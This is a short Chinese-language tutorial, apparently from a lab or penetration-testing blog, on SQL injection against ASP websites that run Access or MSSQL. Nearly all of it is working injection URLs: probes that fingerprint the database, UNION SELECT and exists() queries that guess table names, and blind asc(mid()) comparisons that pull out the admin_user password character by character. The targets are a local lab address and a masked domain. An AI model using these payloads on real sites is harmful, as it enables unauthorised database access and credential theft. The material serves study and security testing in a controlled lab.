ASP一般搭载ACCESS或者mssql
判断数据库类型
http://www.***.com?id=1 and (select count(*) from sysobjects)>0
http://www.***.com/id=1 and (select count(*) from msysobjects)>0
如果加sysobjects的SQL语句后,网页显示正常, 加msysobject的SQL语句后,网站显示不正常,则说明用的是SQLServer数据库。
如果加sysobjects和加msysobjects的SQL语句后,网页显示都不正常,或者加msysobject后的网页显示正常,则说明是ACCESS数据库。
猜解表名和列名
两种方法:联合查询猜解、exists()函数猜解
联合查询猜解
联合查询 先用order by判断列的长度,然后联合查询表,回显正常即为表存在,反之为不存在
http://192.168.74.136:8003/fwxm_detail.asp?id=31 UNION SELECT 1,2,3,4,5,6,7 from admin_user 返回回显位置,说明 admin_user表存在。
http://192.168.74.136:8003/fwxm_detail.asp?id=31 UNION SELECT 1,2,3,4,5,6,7 from admin 返回错误,说明 admin 表不存在
exists()函数猜解
http://192.168.74.136:8003/fwxm_detail.asp?id=31 and exists (select * from admin_user) 返回正常说明表 admin_user 存在
http://192.168.74.136:8003/fwxm_detail.asp?id=31 and exists (select * from admin) 返回错误信息,说明 admin 表不存在。
PS:如果猜不到表名列名就要试试偏移注入了
爆字段内容
联合查询法:
http://192.168.74.136:8003/fwxm_detail.asp?id=31 UNION SELECT 1,2,列名,4,5,6,7 from 表名
函数猜解法:
表名:admin_user
列名:password
判断长度:
http://192.168.74.136:8003/fwxm_detail.asp?id=31 and (select len(password) from admin_user)=32 返回正常说明内容长度为 32
猜解内容:
一个一个字符串的猜,和盲注一样的道理。
http://192.168.74.136:8003/fwxm_detail.asp?id=31 and (select asc(mid(password,1,1)) from admin_user)>49 返回正常
http://192.168.74.136:8003/fwxm_detail.asp?id=31 and (select asc(mid(password,1,1)) from admin_user)>50 返回错误
http://192.168.74.136:8003/fwxm_detail.asp?id=31 and (select asc(mid(password,1,1)) from admin_user)=50 返回正常
对照ASCII码表可知,第一个字符为数字 2 ,
依次猜解,直到猜解出全部内容。